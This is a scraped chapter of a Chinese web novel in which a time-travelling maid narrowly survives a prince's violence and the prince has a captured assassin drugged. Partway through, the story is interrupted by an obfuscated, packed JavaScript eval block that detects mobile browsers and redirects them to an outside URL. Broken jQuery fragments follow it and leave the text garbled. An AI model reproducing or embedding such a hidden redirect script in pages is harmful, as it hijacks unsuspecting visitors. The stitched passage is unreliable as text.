3. 第 3 章

作品:《我靠背政治攻略反派

    呼吸变得更加困难,上气不接下气,头脑发涨,双手无力垂下。祝奈的眼前好像出现了走马灯。


    一会是古代场景中与父母围坐一桌吃饭,一会是现代和父母在景点前的合影。


    她看见他不知从哪拿出来的一把短刀,抬起,刀尖对准她的颈侧。刀刃反射出的冰冷的光,祝奈绝望地闭上眼。


    一滴泪划过脸颊。


    不知道她在这里死了,在现代是不是还活着。她还没赚大钱,还没带着父母参加毕业典礼......想到这些祝奈不自觉地轻呢出声:“妈妈......”


    她闭着眼,没看见他眼神中一闪而过的震颤。


    “刺啦——”


    刀刃划破耳边的风,祝奈下意识地偏过头,紧闭的眼睫轻轻颤动。


    料想中的疼痛并没有来临。长久的安静后,祝奈察觉到脖颈处的力气略微松了一些。她颤颤巍巍地睁开眼,对上他的双眸。


    “若再有下次,必死无疑。”他眼神中透着狠辣,语气凉薄。


    颈间的手骤然松开,祝奈失力,骤然跌坐在地上,双手轻轻环住刚刚被掐住的地方不住咳嗽,胸腔剧烈起伏着。


    她垂着头,看到地面散落的一缕头发。


    他方才划过的那一下,割断了她耳侧的一缕头发。


    身体还没缓过来,她便已下意识地向后挪了一小段距离,朝着封珩的方向磕了个头。


    “奴婢知错,多谢王爷饶奴婢一命。”


    封珩站在她头顶前,低头,皱眉看着被墨汁污染的地方,眼神中是说不出的嫌弃。


    “起来吧。”他语气有些不耐,垂眸瞥了她一眼,“出去吧,只是留你一命而已,不必如此谢我。再有下次,掉的就不是头发了。”


    他转过身,一张黄色的纸片从他袖中悠悠落下,落到祝奈眼前,纸上印着一个显眼的红章,上书“永和斋”。


    当视线触碰到纸片的一瞬间,脑中忽的响起一阵机械音。


    【《封珩厌恶清单》第一条,甜食】


    祝奈起伏的胸腔因这机械音终于平息下来,她眼睛直视着地面,手掌上都是沾上的墨水,又磕了一个头:“多谢王爷。”这才慢慢起身,又行了一礼,往后退了几步后才转身快步走向门口。


    直至出了门,轻轻地将门关上,祝奈才彻底放松下来。一手抚着胸口靠在门框上,急切地呼吸着带着些冷意的空气。巨大的恐惧仍包裹着心脏,头脑混涨,像是有一把刀在脑中不断搅拌,眼前的一切都有些不真切。


    在外缓了好一会,祝奈终于可以清醒地迈起脚步。


    她在耳房中将手上的墨水清洗干净,又仔细查看了身上的衣裳,衣袍边缘也沾了些墨。祝奈回到房中将衣裳换下细细清洗了一番。好在刚刚沾上,轻轻一搓便洗掉了。


    做完这一切祝奈早已累得瘫在床上。一歪头,发现窗边的桌子换成了梳妆台,而那方桌摆到了床对面。


    祝奈撑起身子走到梳妆台前抬起下巴,对着镜子自己观察刚刚被掐着的地方,那一圈直到现在都在泛红,手指轻轻触碰还有些疼。


    刚刚经过高度的惊吓,祝奈此时的身体和精神都十分疲倦。她拖着双腿回到床边,脱下鞋上床径直躺下,双眼直视着屋顶,回想起刚才系统出现的情景。


    那黄色的纸片是从封珩衣袖中掉下的,也就是说他一直随身带着。根据记忆,永和斋是京城最贵的糕点店,有价无市,他既然不喜欢,为何又会随身带着?那手掌大的黄纸,明显就是被裁剪过,并且上面的印章有些脱落,看起来有些年头了。


    奇怪,奇怪,都很奇怪。


    他真的是个奇怪的人。


    祝奈脑中只有这个形容词。


    她翻了个身,短短一天,经历了太多,从穿越,到濒死,不到24小时。此刻紧绷的弦骤然放松,疲惫如潮水般涌来,眼皮止不住地打架。终于再也撑不住了,她认命地闭上眼,睡意涌上。


    就在祝奈闭上眼睛的下一秒,她屋顶的瓦片开始有细微的响动,随后好似传来一声猫叫。


    “原来是猫......”祝奈闭眼呢喃,沉沉睡去。


    园子中,一阵风掠过,院中的花微倾了倾。一双玄靴出现在祝奈今日跨入的那扇门外,一张脸在玄布的掩盖下融入夜色,只露出一双眼睛警惕地环视四周,脚步逐渐向门扉靠近。


    就在他伸手即将触门之时,忽然一声闷响,颈侧传来一阵剧痛,随即眼前一黑失去意识。


    周宿伸手拦住他即将落地的身体,门从内打开,封珩神情自若地走出来,垂眼看着瘫软的刺客。


    “还是慢了。”封珩开口,如同夜间刮过的一阵风,不带任何情绪。


    “是。”周宿点头应下。


    封珩走在前,周宿将那刺客的身体抗在肩上跟在他身后,走进了一间屋子。


    与沉寂的夜相反,这间屋子十分明亮,每个角落都点燃了烛火。屋子中间放着一张椅子,上面坐着的正是夜袭的刺客。他此时双手被紧紧绑在把手上,身子也被好几圈粗麻绳和椅背紧紧捆在一起。


    那人在颈侧的剧痛中醒来,便见一位右眼横亘着疤痕的男子站在自己面前,而对面的椅子上坐着一位身着绯紫色衣袍的男子,漫不经心地把玩着手中的青绿色玉佩。


    被捆绑着的男子瞬间激动起来,颈侧青筋暴起:“封珩,你就是个侩子手,还我弟弟命来!”


    封珩挑起嘴角:“原来前几天来的那位是你弟弟?你们两兄弟还真是像,能同时想到这么低级的手段。”


    “你!”椅子上的人被激怒,身体剧烈晃动,面色通红。


    “据我所知,他并不是你的亲弟弟,你竟会为了他冒险来杀我?真是可笑。”


    椅子上的人似被戳及痛处,两眼不住泛出泪光:“手足之情,你一恶毒之人怎可懂得!”


    封珩手上动作一顿,拇指扫过玉佩,细细感受着玉佩面上雕刻的纹路。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106924|163915||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “既落到了我手里,你便知道是什么下场,周宿。”封珩漫不经心地喝了一声。


    周宿闻言,从桌上的药罐中倒出一粒拇指大的药丸,上前捏住那人的下颌,将药丸塞入他口中,捏上他的嘴迫使他吞下。


    那人不停挣扎,药丸却还是进了他的肚子。他喘着气,看着封珩,突然笑了起来。


    “你有天会遭报应的。”那人眼神中满是得意,忽然呼吸一滞,头一歪,彻底没了声响。


    封珩轻抚着玉佩的手顿住,随即将玉佩收入怀中,垂眼起身。


    “还是一样,丢外面去,会有人来替他收尸。”封珩脚步微顿,冷笑一声,“算他运气好,今日我不想沾血,若他家人来得快,还能留住一条命。”


    “就是脑子是保不住了。”封珩弯下腰,近距离观察那人的脸,用手背轻拍了两下,“快一些,别让人看见。”封珩直起身对周宿说道。


    “为何不坦白他弟弟并非我们所杀。” 周宿问道。


    封珩将要跨过门槛的的脚步一顿,侧头用余光看向周宿的方向。


    “看他今夜的装扮,衣裳明显不合身。显然他早已知晓他弟弟并非正当行当,但却还愿冒险一试。”封珩抬步出去,留下背影,“没必要拆穿他。”


    夜色沉沉,一更的梆子响彻京城。一个黑色的人影在屋脊上跑动,像一道影子,仔细一看,他身上还驮着个人。


    那黑影在一户人家前停下,将背上的人在门前,抬手扣了两声门,随即提气一跃,如影子进入黑暗一般消失得无影无踪。


    门扉从里面打开,一位妇人披着外衣一脸不耐烦,左看右看都没人:“谁啊,大半夜的......”


    她没好气的声音在低头看到地面的人后骤然提高:“儿啊!”那夫人忙俯身将身上的外衣盖在那人昏迷的人身上,抬头打量四周,只有空荡的街道,紧闭的房门和在风中摇晃的灯笼。


    “儿啊!”她声音中有些许颤抖,咬紧牙关吃力地将那男子拖进院子,将门关上。


    夜色还是一样沉寂,京城仍在沉睡,无人知晓今夜的街道发生了怎样的故事,明日一早,街道两旁还是热气腾腾的包子,此起彼伏的叫卖声。


    封珩出了那间屋子后便到耳房沐浴,将那身审人时穿的宝蓝衣袍换下,只穿着白色中衣回到卧房。


    游廊上两步一盏灯,将脚下青砖的纹路都照得一清二楚。


    他先是查看了一番安静睡着的鸟儿,后坐到榻上拿起一封信件看了起来。刚抽出信纸他便皱起了眉,将信放下,拿出火折子点燃了一旁的烛台。亮光瞬间将黑暗吞噬将封珩周身包裹起来,他这才拿起信件继续看着。


    不过一会,周宿回来了,一身夜行衣,周身裹满寒气。跟在他身后的是一位挂着医箱的男子。他一身淡蓝色衣袍,头发高高束起,垂下的发带随着他的动作在空中起伏,一举一动皆是儒雅。


    他一进门,封珩便放下手中的信件道了声“弈朋”。